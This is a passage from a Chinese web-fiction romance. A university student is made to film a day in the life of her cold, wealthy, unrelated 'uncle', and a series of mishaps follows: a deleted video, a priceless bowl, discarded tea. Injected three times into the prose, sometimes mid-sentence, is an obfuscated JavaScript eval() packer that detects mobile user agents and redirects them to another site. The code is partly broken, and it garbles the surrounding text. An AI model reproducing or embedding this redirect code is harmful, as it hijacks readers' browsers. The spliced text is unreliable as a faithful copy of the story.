浮邻县发展很慢,仅有的一所高中教育资源差,师资一般,很多优秀学生读完初中都考去市里接受更好的教育,剩下一些考不上的差生就留在浮邻高中,因此没什么学生能通过文理科考上重点大学。 走艺术道路考上985,211的也寥寥无几。 池绿在家带娃,在学校拼命学习,高考成绩出来那天,震动了整个浮邻县和周边市区,因为名不见经传的浮邻中学出了一个区状元。 校长见了池绿笑得眼睛都看不见。 池绿没报省外的学校,三个志愿都在花城,从花城回浮邻,只要搭2个小时高铁,半个小时公交。 池蓝可以说几乎是池绿一手带大。 自然能敏锐察觉到她的情绪转变。 “姐姐,我想你了,你什么时候回家呀,蓝蓝在幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池绿莫名松口气,哦了一声:“他是性冷淡吗?那怎么办?你给他补补?” 萧乐不认同:“这么年轻就要补?那很惨了,还不如换个新的。” 宿舍就此讨论了几句,结果就是坚定了萧乐要换男朋友的想法,她说不想到时候酒店脱了裤子发现对方的家伙事跟她小拇指一样大,她得为自己的初夜负责。 她拿上换洗衣物,把台灯带进浴室,宿舍一片昏暗。 池绿准备爬上床睡觉,搁在桌面的手机亮了一下,在昏暗幽静的空间很突兀。 屏幕显示蒋霖发来消息。 蒋霖不可能是发晚安,身体怎么样之类的消息,肯定是跟沈序秋有关。 她有些抗拒,心脏瞬间揪起,默默给自己心理建设。 解锁手机,蒋霖罕见地连续发了四五条,从最新一条往上。 【沈董明天的行程表,希望你按时到达。】 【沈董想拍一天上班vlog,反正你喜欢拍视频,不要浪费了这个天赋。】 池绿瞬间明白了沈序秋离开总统套房时说的那句话,原来在这等着她。 她斟酌片刻,礼貌回复。 【我学的是新闻,不是导演。不太专业,为了能更好地拍出沈董的上班日常,您另请她人吧。】 蒋霖:【这不是我能决定的。】 池绿无力地叹息一声,拍什么董事长的工作日常都是借口,沈序秋不是那么闲那么张扬的人,主要还是为了折磨她。 明白拒绝无效的她蜷了蜷手指,点开行程表,等图片加载。 看清行程表后,她拧眉。 她寒窗苦读就是为了认识这些字吗。 6:00起床 6:15—7:00健身 7:30—8:00早餐 8:00—9:00前往公司 9:15抵达公司开会 …… 有钱人的精神似乎都很旺盛,觉睡得少照样精力充沛。 现在哪个年轻人能6点起床,宿舍的人上早八都痛不欲生,恨不得学校莫名其妙被炸了。 不过,沈序秋应该不算年轻人。 二十七八,四舍五入已经快迈入三十。 自律的中年老男人。 沈序秋6点起床便意味着她要在6点赶到星月湾别墅,才能有时间录制他要求的日常视频。 正愁眉苦脸时想到明天是星期一!有课! 池绿侥幸地回复。 【明天星期一,我们有课的,要到下个周六才有空拍。】 蒋霖回复得很冷漠: 【你有课是你要解决的事情。】 【沈董指定要明天。】 沈序秋手段强惯了,容不得别人忤逆他。他就是故意选在星期一让她无法上课。 池绿攥紧了拳头,只能安慰自己好在大一课程不多,明天就三节课。 抱着怨气调闹铃上床睡觉。 6. 逃走 星月湾是花城市价最高的豪华别墅,岛内别墅环山临水,闹中取静,风景极好。 附近没地铁没共享单车,最近的地铁要走路25分钟。 池绿走过。 当时第一次去星月湾,年轻气盛觉得自己能走两公里,撑着太阳伞硬生生走了25分钟。 沈序秋的车就在她旁边疾驰而过,掠起一阵阴凉的风。 这次太早了没打到车,怕被沈序秋数落只能在黑暗中拼命跑。 岛内别墅不多,别墅之间距离远,不是一般连排,建筑风格也不一样。 沈序秋所在的18栋别墅是岛内比较简约低调的,三层占地面积是1000平方米,外观是高级纯黑加全景落地窗,最左侧落地窗顶处打造了人造水帘,十二四小时细密流水如珍珠掉落至地面的活水池。 抵达别墅时天还未亮,家里有一个佣人和管家,按了很久门铃却没人开。 池绿喘着气疑惑地推了推大门,门原来没关,屋里黑压压,她踩在地板仿佛走在冰山,她怕黑,不敢进屋。 借着落地窗和打开的门能看见客厅沙发上一个背影。 她小心翼翼地喊:“小叔?” 沙发上的男人许久没动静,仿佛博物馆里摆放的艺术品,漂亮但没生机。 这一幕很像电影的宣传海报,池绿打开相机拍了一张,咔嚓声把她吓了一跳,惊恐地看向背影,他似乎没听见,还是一动不动。 她大着胆子摸黑过去。 “小叔?” 她伸手拍了拍他的肩,手还没来得及收回,腕被冰冷的力道握住。她心一惊,想抽回,但压根没力气。 他扭动脖子,回头,黑夜中看不清脸。 “谁让你拍的?” 空荡荡的声音仿佛从炼狱传来。 池绿一颗心跳到嗓子眼,害怕地否认:“我,我没拍。” 一道惊雷闪过,白光乍起,映在他眸光阴鸷的脸。 英俊的面容在白光落下的瞬间忽然变成狼头朝她扑来,蹭到她的鼻尖。 “再拍就把你吃了。” 池绿惊恐地尖叫。 猛地睁开眼睛,视线一片昏暗,床头的手机响着闹铃,她紧缩的心脏松懈,怕吵醒室友,连忙把声音关掉。 5点了。 她松了口气,原来只是做梦。 梦中的惊悚还残留在胸口,她揪着衣领喘息。 睡了一觉,晕沉沉的身体舒服很多,也没有头晕脑胀的中毒感了。 天色朦胧,校园的橘黄路灯在暗黑里如洒了鎏金,温柔的细雨随风缥缈,泼了一夜把路面淋湿润。 地铁还没营业,她用软件叫了一辆车。 梦中打不到车的困境没有发生。 凌晨的城市静谧空旷,去别墅不塞车需要30分钟路程,她上车后开始补眠。 车里开着舒缓的音乐也没影响到她。 别墅大门设有保安亭,外来车辆要登记并且要打电话经过住户同意才能进入。 但池绿来过几次,保安认得她,让她登记后便放她进去了。 车子在别墅大门口停下时雨也停了。 天光暗淡,别墅的灯全亮着,橘色光照亮里面雅致的布局。 按响门铃后是梅姨开的门,池绿礼貌地问候早上好。 她四五十岁左右,做事利落又稳妥,笑得和蔼,很是惊讶:“池绿?你怎么那么早过来?今天不是星期一吗?没课呐?” 梅姨第一次见池绿就喜欢这个乖巧嘴甜的漂亮小姑娘,知道她在南大读书,也知道她是沈序秋早年养在池家时没有血缘关系的小侄女。 不知当年在池家发生了什么事情,沈序秋挺不喜欢她,之前好几次周末使唤人过来干活,却不给薪水呢。 雇主跟养家之间的恩恩怨怨,不是一个保姆能议论的,她自然也不会往外说,能留在沈序秋身边,光做事利落烧得一手好菜可不行。 池绿一来,梅姨就不用干活了。 “请假了。”池绿问:“小叔呢?” 小姑娘是真的很礼貌,哪怕沈序秋对她没什么好脸色也尊敬地喊小叔。 梅姨说:“刚进健身房呢。” 百平方米的健身房铺满柔软地毯,聚焦式射灯从顶处泻下,各式健身器材崭新昂贵。 沈序秋最喜欢的运动应该是拳击。 上次还逮着她当陪练,拿着搏击小手靶只不过被他打了五分钟,双手就酸了两个星期。 池绿现在都对拳击有阴影了。 眼下健身房空荡荡,就连柱形沙袋那里也没看见沈序秋的身影。 现在才6点15分,他不可能已经健身完了吧。 她躲在墙下,睁大眼睛再次仔细扫里面。 “鬼鬼祟祟,想偷什么?” 嘶哑的嗓音从头顶响起,池绿猛地转身,磕到一堵肉墙,她捂着额头抬脸,大脑空白了几秒。 她们距离很近,那张俊脸居高临下,上挑的眼尾锐利生冷。 他面无表情的样子很吓人。 光影落在他睫毛,在下眼睑括出阴翳,能看见他淡漠瞳孔里倒映她苍白的脸。 池绿浑身紧绷着,身后是冰凉坚硬的墙体,身前是高大直挺用下巴看一切的男人,他身上的苦艾气息如一张巨大的密网似有似无将她包裹。 压迫感像一座寒气扑面而来的冰川,她无处可逃,又开始低眉敛目看着自己的鞋尖。 声如蚊呐:“小叔……我没想偷东西……” 又不是打开了他保险柜,健身房有什么好偷的啊?她总不能搬个体积最小的哑铃走。 沈序秋瞧她低眉顺眼的样子,每次在他面前总是装得很乖巧,像鹌鹑转世,连话也不敢大声说,实际上口是心非,自作聪明还敢骗他。 叛逆得很。 今天她身上没有刺鼻的樟脑丸味道了,依旧是那股淡淡的芋艿味,浓密的睫毛在粉白薄肌颤动。 她脸蛋手感很好,嫩弹光滑。 他的手莫名有点痒,想摸点什么,视线从她脸颊移向耳朵。 昨天揉的那里,白皙单薄,在灯管下透明可爱。 垂在身侧的指尖动了动,克制住歹念,眉宇烦躁地拢起,径直往里面走。 他离开,池绿感觉周围空气都流通了,用力呼吸弥补刚才屏息了几秒的委屈。 跑步机正对落地窗,外面是500平米的后花园,天色微亮,空旷草地和植株朦朦胧胧。 五分钟热身后沈序秋将跑步机调整为爬坡。 刚刚还在健身房拍拍拍的女人不知什么时候出现在了落地窗外,拿着相机正对他拍。 “?” 运镜颇专业。 先是从中间移向左边再移向右边,甚至蹲在地上仰拍。 十分卖力找角度,堪比韩国爱豆打歌舞台的摄影师。 看来她对于摄影师这份工作乐在其中。 天光渐渐大亮,窗外绿意盎然的景色在阳光下生机勃勃一览无遗。 自然也能看见池绿拍完之后低头看成片,嘴角合不拢似的,桃花形状的眼尾眯了起来,看起来很满意自己的摄影水平。 感觉看的不是他的相片,是人命币。 手里拿着的不是相机,是百亿现金。 池绿并不是满意自己的摄影技术,而是她昨晚从付厘那痛失的8000块又要回到她账户了! 一条视频8000,多打包几条,就有几万块了。 她已经听见了金钱源源不断入账的声音。 事物果然都有好与坏两面性,沈序秋欺压她,她也利用沈序秋赚钱。 虽然她今天没上专业课,但好歹赚到钱了。 人嘛,在没有足够能力的情况下,不能既要又要。 她回健身房的路上拿出放在衣服口袋里的读卡器,传输到手机。 经过了昨晚的事情,她觉得视频只有存放在自己的手机里才是最安全的。 沈序秋总不能变态到查看她手机。 做好一切后回到健身房,从跑步机下来的沈序秋走向楼梯,前往负一层。 池绿亦步亦趋地跟着,本来想问去哪,但又不敢开口。 到了才发现原来从健身房下去负一层地下室是壁球室。 半封闭的长方形空间,四面皆是墙,实属别有洞天。 壁球跟网球差不多,只不过壁球是把球打到墙壁,当球击落在地面时再挥回墙壁。 看起来简单,但实际操作需要技巧。 沈序秋打壁球很有节奏,球往侧墙上抛,拿着球拍挥拍,连续击打了几次。 动作优美有线条感。 室内混杂着击球的砰声和鞋底摩擦地板声。 池绿拿着相机各种找角度。 以商业摄影的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不想跟他辨别,哦一声,站定后兔子般溜走,在角落背对他蹲下,假装很忙,解开鞋带又重新系结。 沈序秋的目光落在她纤瘦背影,很快又低眉瞧自己情急之下抱住她腰的手臂。 她的腰好瘦好柔软,抱着不会硌手。 身体又轻,还不如他100kg的卧推重。 沈序秋又打了两个回合,似觉得无趣,丢下球拍:“走了。” 朝着楼梯走去。 池绿跟在他身后,不可避免地看见他健硕有力的手臂。 她反射性摸摸自己的腰。 皮肤是有点疼的,仿佛他的力道还横在上面。 刚才被他抱住的瞬间,他手臂内侧贴在她起伏呼吸的腹部,手臂上方恰好卡在她的胸部下沿。 原本凹进去的地方被他的手臂填满。 光是想想她肌肤又烫了,哪怕小叔是认识的长辈,她也害羞。 到底是成年男性抱了她。 重新回到健身房拍摄。 沈序秋开始打柱形沙袋,手臂肌肉线条漂亮清晰,发出有节奏的砰声。 柱形沙袋仿佛是他的敌人。 他锐利的眼神宛如非洲荒野的猎豹,紧紧盯着沙袋攻击,后退,勾拳。 汗水从下巴、脖颈一路流淌,直至隐没在圆领T恤衫,衣衫蜿蜒的水痕汹涌汇聚,胸襟洇湿了一片。 他冷白的皮肤因运动透着健康红润,薄褶内双被长睫上的水珠浸出完整形状,线性弧度更深更明显。 这双凌厉有攻击性的眸乜了一眼四处找角度拍摄的池绿。 停下动作睨向她,刘海溅出的汗滴落在地毯晕出水痕。运动后的胸膛起伏不定,薄肌充满生命力地跳动。 池绿看愣了。 ——这幅湿漉漉又性感的画面,付厘一激动不得狠狠给她加钱? 他运动了那么久,声音都不带喘:“去准备早餐。” 小身板在这转来转去,转得他头晕。 碍眼。 来都来了,她想努力争取再赚点钱。 好声好气地说:“我再拍一会……” 沈序秋唇角懒洋洋勾起,饶有兴致。 “还拍上瘾了?” “再拍待会吃什么?吃你么?” 池绿眼瞳震惊—— 再拍待会吃什么?吃你么? 再拍就把你吃了。 怎么跟梦里那句话大差不差? 只不过梦里是凶狠的语气,现实是温柔威胁的口吻。 她咽了咽口水,噩梦的惊悚感突然如阴兵过境,她背脊发凉,火速逃走。 她的梦居然还有预知未来的功能。 7. 喜欢 池绿不是第一次给沈序秋准备早餐。 对于下厨,她现在很得心应手。 自从妈妈去世后她经常给家里人做。 甚至婴幼儿的辅食都能做出花样,早年她要是在网络平台做辅食说不定也能起号赚钱。 ‘16岁高中生凌晨4点给2岁宝宝做辅食!’ ‘没有母乳,16岁高中生如何保证2岁宝宝的营养?’ 只不过她不想把私生活曝光,不希望别人过度关注这种苦难,不想成为全网议论的苦瓜大队。 自尊对于普通人来说或许不值多少,对高中生的来说比天还高。在一没钱二没成就的高中,自尊也是她的财富。 她希望自己获得关注是因为学习,因为成绩,而不是因为家里有去世的妈妈,醉生梦死的爸,脆弱的爷爷,2岁的娃,破碎的她。 她想成为学校的励志学姐,不愿意当社会眼里的励志长姐。 家里白天也有请保姆照顾小孩,但到了晚上,池蓝总是很粘她,她当时高三,经常半夜带娃不够觉睡。 有一天早晨走路去学校,倒在绿化从里直接睡了过去。 后面路过的同学把她揪起来,惊恐地探了探她的颈动脉脉搏,面面相觑说:好像还有呼吸。 梅姨早就跟池绿说过沈序秋的口味。 碍于别墅那些从各国空运的牛肉,鲍鱼,竹蛏处理不好怕浪费,池绿并没有做。 而且谁家一大早吃那么硬的食谱。 池绿直接按照自己的习惯方式动手。沈序秋在这方面倒不会太苛责。 把山药芋头放进破壁机打成羹,煎了培根卷芦笋,煮了口蘑青菜面。 将山药芋头羹倒在青白釉葵花形台盏还多出一碗,池绿用调羹尝了一口多余的,听见有轻微的砰声。 似有似无的苦艾香气闯入鼻间,她做贼心虚地看向冰柜——沈序秋拿了冰块,倒入玻璃杯,仰头喝。 他刚洗完澡,干爽的白衬衫妥帖束进腰间,从侧面看身型线条蓬勃张力,挽起的一截衣袖暴露出青筋分明的力量手臂。 察觉到他要往这边看,池绿立马转头避开与他视线接触,假装很忙。 早餐端上餐桌。 沈序秋靠着高背皮革椅盯着这碗山药芋头羹,略有所思。 虽然池绿不喜欢他说话,但跟他单独相处又最怕空气突然安静。 不知他会突然蹦出什么难听的话。 盛羹的碗很上镜,盏是五瓣纤柔娇媚的葵花状,与滋润釉色浑然一气。淡紫羹8分满,配色清丽雅致,色香味俱全。 站在对面举着相机录视频的池绿都不想拍他那张臭脸了。 但想到8000块,哄自己坚持坚持。 “价值200万的南宋葵花盏,你用来盛羹?” 他语气平静极了,像暴风雨来临前的悄无声息。 原本就低气压的空气瞬间如冰风过境,将她冻在原地。 她也不知道它是南宋的东西呀,只是觉得长得好看。既然是收藏品为什么会放在客厅餐桌? 这也不能怪池绿,前两天赵家的大少爷差人送了幅古画和一套葵花盏过来,梅姨收下后告知沈序秋。 沈序秋昨天很晚才回别墅,梅姨今早想起这事便拿出来放在客厅餐桌,想着他吃早餐的间隙可以看看实物。 之后就放收藏柜。 池绿路过以为是餐具,心想还挺别致,便用来装羹。 做错事鹌鹑似的低头,用自己才能听见的声音抗议:“那用来装面也有点小……” “橱柜里一堆碗没有你喜欢的?” 男人语气很不爽,并不是真正关心她是否喜欢。 池绿没听懂好歹,诚实道:“是比较喜欢这个。” “?” 沈序秋不悦地朝她看去。她默默把脸挡在相机后,恰好遮住漂亮小巧的五官。 每次犯错就乌龟躲,看上去胆小害怕,其实一点也不觉得自己有错。 “你喜欢人民币,怎么不用人民币做衣服穿出去?” 池绿露出灵动的眼睛:“那是犯法的。” 对上那双深潭似的黑眸,又缩了回去。 本就静得可怕的屋子这会更是如冰洞,池绿不敢动弹之际听见陶瓷碰撞的声响,疑惑地往取景框看,沈序秋正用汤勺将羹往唇舌送。 不是能喝吗? 就非得指责她几句。 怎么会有这样的人。 用餐厅只有陶瓷偶尔磕碰的声音,沈序秋吃东西很静,食不言。 池绿愈发窒息,她也有点饿了,刚刚只喝了一口羹。 “相机拿来。” 沈序秋放下汤勺,睨她。 池绿停下录制,乖巧将相机递给他。 桌上那碗口蘑清汤面一动未动,看见美食她肚子咕噜咕噜响得更厉害。沈序秋不可能大发慈悲主动喊她吃,为了不遭饿,她得自己主动。 小心翼翼打探:“小叔,你不吃面吗?” 她只有在犯错和求人的时候,才会用这种软甜的口吻喊他小叔。 沈序秋坐姿随意地靠着椅背,垂着的睫毛很长,眼皮那道清晰的褶弧线流畅,眼尾的凌厉冷傲因视线下视减了几分。 他身形骨架好,板正的衬衫扣子敞开两粒搭配阔腿直筒西裤,压低了商务感。 简单的白衬衫被他穿出一股雅痞味。 不说话时候很赏心悦目。 他盯着相机屏的视频,不紧不慢地说:“太清淡。” “那这碗清淡的面,我配吃吗…” 她在说什么! 她想咬断自己的舌头。 本来想问我能吃吗,开口莫名其妙变成我配吃吗。 怎么不配。她自己做的,这可太配了。 这番卑微的话令沈序秋不禁撩起眼皮,淡淡的目光浮着些许看不透,像在打量远古人猿。 顶着他高压的眼神,池绿补充:“不吃浪费了……” 他薄唇徐徐吐字:"你是故意煮清淡的,好留着自己吃是吧?" “我没有这个意思,那我去回锅一下,加点青红椒?”池绿把托盘端起,要往厨房走。 “不用。” 沈序秋漫不经心地说,低头沉默看视频。 池绿端着托盘,纠结几秒再次厚着脸皮问:“你不吃,那我吃了?” 时间仿佛静止。 沈序秋抬眸,所剩无几的耐心告罄,唇角弯起淡淡弧度,声音却很冷:“要我喂?” 他眼尾的褶,让池绿想到皮笑肉不笑,她猛地摇头,在他重新低头看视频后松了口气,坐在对面开吃。 口蘑汤明明很鲜美,不知道他口味怎么那么刁钻。 才安静吃了两口,余光里他放下相机,评价道:“拍得不行。” 离开时丢下一句:“10分钟后去停机坪。” 10分钟够她吃完早餐。 她吃得不多,细嚼慢咽吃了半碗喝了两口温热鲜美的汤,离开时随手抓了一把澳洲空运蓝莓和车厘子。 后花园有个停机坪。 梅姨说过沈序秋去其他城市出差会开直升飞机去。 她之前也在网上刷到有人拍到直升飞机经常停在云维集团的顶楼。大家都在调侃现实中真的有总裁开着直升飞机上班。 池绿过去的时候,舱内驾驶座位坐着沈序秋的专属司机秦朗。之前见他都是在轿车内,没想到他还会开直升飞机。 礼貌地喊:“秦叔早上好。您还会开飞机吗?您真是多才多艺。” 秦朗扭头冲她笑:“早上好,这不得与时俱进嘛。” 长辈都喜欢嘴甜的,他也不例外。 沈序秋正坐在舱内后座打电话,跟对面用粤语交谈。 第一次听他讲粤语,他发音很好听,低醇又有点嘶哑,像是玻璃壶里冒着泡的滚烫响在耳畔。 听得耳朵痒痒的。 他挂了电话,耳畔那阵冒泡的沸水声也戛然而止。 直升飞机在座位上跟轿车没多大区别,前后两个座位,池绿为了方便录视频,爬上了沈序秋旁边的位置。 她坐好后打开相机,瞪圆了眼睛不敢置信地啊一声,扭头问: “小叔,你刚刚是不是按错了格式化键?视频全部不见了……” 沈序秋从文件里抬起,瞥她,似觉得好笑:“你的意思是我不认识字,删掉了?” “不是。” 池绿欲言又止,难道是她刚刚不注意删掉了吗?她又仔细回想了一下,相机最后是在沈序秋手里,自己刚刚来的路上没有碰到相机按钮,不可能是自己无意识删掉的。 “好啊,池绿,忙活一早上,一个能拿得出手的视频都没有,还想把自己格式化视频的罪名落在我头上。” 沈序秋一副要算账的口吻。 “我没有。” 池绿据理力争:“我也不知道怎么回事。” 她惆怅地看着相机,确定被格式化了,又想到什么,转而眉飞色舞欣喜地安慰:“没事,我都传输到手机里了,就是没有你吃早餐的那段。” 沈序秋虚眯着双眼瞧她。 狭窄的舱内徒然变冷。 池绿这才后知后觉意识到,沈序秋又在套她的话……薄凉的眼神宛如幽深洞谷里冰冷剧毒的蛇,盯得她浑身发麻,喉咙仿佛被黏糊糊地缠住无法呼吸。 她唇角的笑意凝固,他都不需要略施小计,就能让她全盘托出。 颤颤巍巍拿出手机,打开相册悲痛万分地当面删掉了所有视频。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405209|168744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >呐呐地口是心非:“我也觉得拍得不好,留着也没意义。” 心痛,耳朵痛,喉咙痛,浑身细胞都开始阵痛,即将到手的几万块又没了。 她瞬间失去了所有力气和手段。 那她努力地找角度左拍右拍仰拍算什么?算她腰好吗? 明明是他格式化了视频,她手机保存却成了过错的那方。 她很想问,既然不想留下视频,为什么一定要她丢下专业课来拍他的上班日常。 沈序秋锐利的黑眸刮着她低眉敛目的脸,不带情绪地问:“偷偷保存视频的坏习惯在哪学的?” “TVB。” 即使心情不好,她依旧有问必答。 三个字母让沈序秋无话可说。 往她怀里丢了一支航空耳机。 池绿学着他的模样戴上耳机,问驾驶座的秦朗:“秦叔,我们去公司吗?” 原来霸总上班真的是坐飞机,她不能理解但尊重。 秦朗回答:“我们去江市,池绿,你系好安全带,飞机起飞风很大。” “好的。” 跟坐飞机不同,戴上耳机也能听到直升机旋螺浆发出的轰鸣噪音。 起飞时旋螺浆上升带动强劲风力,舱内的池绿感觉自己要被吹飞,黑发全糊在脸上。 惊恐的时候完全不知道自己做了什么,她闭上眼睛左手胡乱抓住沈序秋的手臂。 沈序秋抽空瞥她这副胆小女鬼的模样。 待飞到半空,巨大的风力骤减回归正常后,他问:“抓够了没?衣服都被你抓烂了。” 池绿勉强睁开眼睛,乖巧地松手,无措地整理自己傀儡般的头发。 他衬衫面料被抓得皱巴巴,她有些不好意思,一动不动调整呼吸。 似有似无的苦艾萦绕心头,是沈序秋身上的气息。 池绿皱鼻,刚才握了沈序秋手臂的左手放在腿上假装不经意地搓了搓。 想把那股味道搓走。 奈何他的气息太强大,舱内都是苦艾味。 直升机很稳,整个世界在迅速向后,从高空俯瞰城市,楼宇像玩具,中轴道川流不息。 江市离花城300公里,飞越山脉,穿越云层,池绿感觉自己置身于一幅巨大的画卷。 心情从害怕紧张到雀跃好奇,肉眼可见更放松。 池绿打开相机,将镜头对准沈序秋,他双腿交叠,稳稳妥妥地翻看文件。 象征性拍了几分钟,她想俯拍下面的风景,趴在玻璃窗时后领被人揪住。 她不得不顺着力道回到舱内。 “再乱动就把你踹下去。” 这说的是人话吗? 池绿捏着卡在脖颈上的衣领,不敢反驳,毕竟在天上。身后的人松开手,她才得以呼吸,坐直后立马握紧安全带。 兜里的手机嗡嗡震动。 是宿舍群,室友问池绿怎么请假了。 池绿说亲戚生病了,要去医院照顾。 不是池绿故意撒谎,这种事情三言两语无法说清楚,沈序秋要是知道她满世界说,不知又会怎么惩罚她。 何况这不单单是她们两人的事情。 还关系到沈序秋一些不为人知的私事,关系到沈家。而他现在是沈家的继承人,叱咤商界无限风光。 池绿用余光偷偷瞅他,白衬衫西服裤,大背头额前留了小碎发,利落精壮的模样跟记忆里那个单薄落魄,眼里没有光的少年完全不一样。 财富养人。 以前冷漠阴鸷不好接近,现在财势滔天可怕不好接近。 一个眼神就让人想缩进壳里。 也不知什么时候才能远离他,回到正常生活。 池绿捏着手机,黑屏里倒映出自己郁闷的脸,她微微叹息。 原本三个小时的车程,只用了40分钟直升飞机进入江市,在一栋40层高的大厦顶楼准备降落。 在半空中的池绿看见地面大写的字母H。 下飞机后她有点腿软。 想拍点视频,奈何沈序秋穿上西装外套后走得很快。 秦朗说他不进公司,去楼下转悠,有问题可以打他电话。 池绿有沈序秋身边人的联系方式,知道秦朗也是客气的社交说辞,礼貌回复后小碎步跟在沈序秋身后。 顶楼有电梯直达董事长办公室楼层。 电梯门合上。 沈序秋目光落在角落里的池绿,她对着光可鉴人的门发呆。 他鼻尖溢出一丝哼笑。 “视频不拍,对着镜子自恋什么?” “脑子丢在飞机上了?” 池绿刚坐完飞机,肢体和心脏软趴趴,还没恢复血条,看向声源,对上他压迫的眼神,心慌慌拿起相机:“现在拍。” 8. 怨念 电梯叮声抵达董事长办公室。 沈序秋刚迈出电梯,候在门边光鲜亮丽的行政上前询问:“沈董早上好,今天是喝茶还是咖啡?” “茶。” 沈序秋径直走向紫檀办公桌,案头的插花令他皱眉停下了脚步,转了个弯: “这花是超市满赠的么?合作的花店换掉。会议之后我要看见新的。” 行政连忙把桌面的淡粉蝴蝶兰抱起来:“好的,我立马换掉。” 这不是沈序秋第一次嫌弃办公桌的鲜花,他审美品味好又挑剔,出现在眼里的物品必须赏心悦目。 桌面还有一瓶香水百合,池绿看她抱不了那么多,暂停录制将相机挂在胸前,帮忙抱了一瓶。 行政感激地朝她笑。 本来要5分钟后才开始的会议,因为插花不合他心意,直接提前了。 两个女生跟着走出董事长办公室,目送他进会议室。 行政松了口大气,小心翼翼地问池绿名字来历。 得知她是摄影师,在拍摄沈序秋的上班vlog,有些惊讶,董事长居然会搞互联网那套圈粉操作? 池绿笑笑,她之前也以为他要走互联网圈粉路线,直到他把视频全部格式化后发现他只是想玩弄她而已。 行政要去楼下买鲜花,问池绿会不会泡茶,能不能帮忙泡茶,茶叶就放在办公室书墙最下方柜子。 池绿会泡茶,家里爷爷很爱喝,她晚几分钟进去录视频应该不碍事,也不是每时每刻都要拍。 池绿打开茶叶,揪了一撮放进掐丝珐琅彩鎏银杯。 茶叶长了很多细细的毛,好像是发霉了。她拧眉嗅一下,嗅不出什么。 之前梅姨说过沈序秋很少来江市这边的公司,一个月来一两次。 茶叶放太久保存不当,会发霉也正常。 老家镇上有个老人因为经常吃烂水果和发霉的大米,黄曲霉素患癌去世。 虽然她不怎么喜欢他,但也不至于恶毒到希望他喝发霉的茶叶进医院。 她犹豫了一下,把整盒茶叶和装了茶叶的鎏银杯丢垃圾桶。 出门随机遇到一个工作人员问有没有茶叶,那人给了她一袋茶颜悦色茶包。 池绿端着一杯茶,脖子挂着相机进入会议室时,市场部正在讲诉PPT。 众人齐刷刷往门口看。 不知道这是谁。 正在讲话的人提醒:“面试出门左转。” 她只不过迟了5分钟进会议室,中式装潢的环形会议室已经坐满了人,PPT都讲到第二页了。 这倒是很符合沈序秋雷厉风行的做事方式。 “我不是面试。” 池绿在众目睽睽下小碎步走向主席位,把茶杯放在沈序秋面前。 冰裂纹玻璃杯茶水八分满,透出里面泡得发涨的黑色茶包,白色细线吊在杯口。 沈序秋皱眉:“这是什么?” 原本只是安静沉重的氛围随着他开口瞬间变得冷厉严肃。 池绿觉得他老眼昏花了:“茶。” “我不喝茶包。” “可是那个茶叶发霉长毛,我扔掉了。” 沈序秋这才缓缓掀开眼皮,上挑的眼尾冷冽锐利,仿佛刀刃贴在她脸上。 这种眼神很熟悉,早上她错把南宋葵花盏当碗盛羹时见过。 难道这个玻璃杯也是来自哪个朝代的收藏品? “扔、掉、了?” 他语气平静地重复。 明明没什么语调,却扑面而来一股积年阴气,池绿莫名毛骨悚然,再次点头,重复:“发霉长毛了……” 坐在旁边的总裁邱岸风恍然,知道池绿说的发霉长毛茶叶是沈序秋比较爱喝的一种红茶。 茶叶上能看到细小绒毛,不认识茶的人会以为是发霉长毛。 而池绿丢掉的茶叶正是沈序秋在拍卖会上以180万拍下的金骏眉。 邱岸风硬着头皮说:“那个不是发霉长毛,是茶叶本身就有的茶毫。你扔掉的茶叶3斤要180万呢。” 随着邱岸风的解释,宽敞明亮的中式会议室犹如半夜阴森森的坟地,几十个员工面面相觑,最后把同情怜爱又佩服的目光投向池绿,颇有看好戏的心态。 沈序秋没出声,凌厉有攻击性的眼神幽灵一般贴在她脸上,一寸一寸堪比肉.体凌迟,一次次无声鞭打。 池绿吞咽口水,身心透凉,别开视线低头看鞋子,局促地捏紧相机,努力呼吸稀薄的空气。 她觉得沈序秋在隐忍,这里人多,他不好发作。 等到没人的地方,就会把她臭骂一顿。 她正打算说茶叶捡起来还能喝,垃圾桶不脏,她是连盒扔掉的,听见沈序秋冷冷吐字:“干好你的本职工作,非要上赶着挨训是吧?” 气氛一瞬降到冰点,众人连呼吸都不敢太大声,董事长的脾气他们是见识过的,能把人训得体无完肤,还不能当他面哭,要哭滚回家哭。 就在大伙竖起耳朵听下文时,炮火却对准了他们:“还愣着干什么?PPT不讲了?” 会议室的人顿时又手忙脚乱。 池绿松了口气,还好沈序秋以工作为主,什么事也不能耽误他赚钱。 负责人把PPT讲完,会议顿时分为激进派、保守派。 “沈董。我们是不是有点太急功近利?宇航股份市值才100亿,民威科技估值300亿,这样级别的并购,我们的胃怕是吞不下……” 邱岸风提出意见。 云维集团的总部在花城,江市的宇航股份是沈序秋接手集团后开拓的低空经济事业版图。 自从陈远带着芯片出卖公司令公司亏损几十亿,沈序秋急于找填补,居然想出如此令人乍舌的操作。 沈序秋语气不容置疑:“怎么吞不下?一个明威科技就吓跑了,蛇吞象没听过?” 眼风扫过在门口找角度拍摄的池绿,她就像幽灵似的,整个会议室来回飘,也不嫌累。 也许是接收到了他的目光,又挪动脚步绕了半个圈回来。 倒是挺有眼力见。 “投资百亿却勘勘百亿市场,并购不现实。” “研发投入高,市场也不大,跟搞平台搞流量的互联网这种商业模式比完全比不过……” 她往身旁一站,一股淡淡的芋艿味似风扑来。 像吃到一盏甜品般心神愉悦。 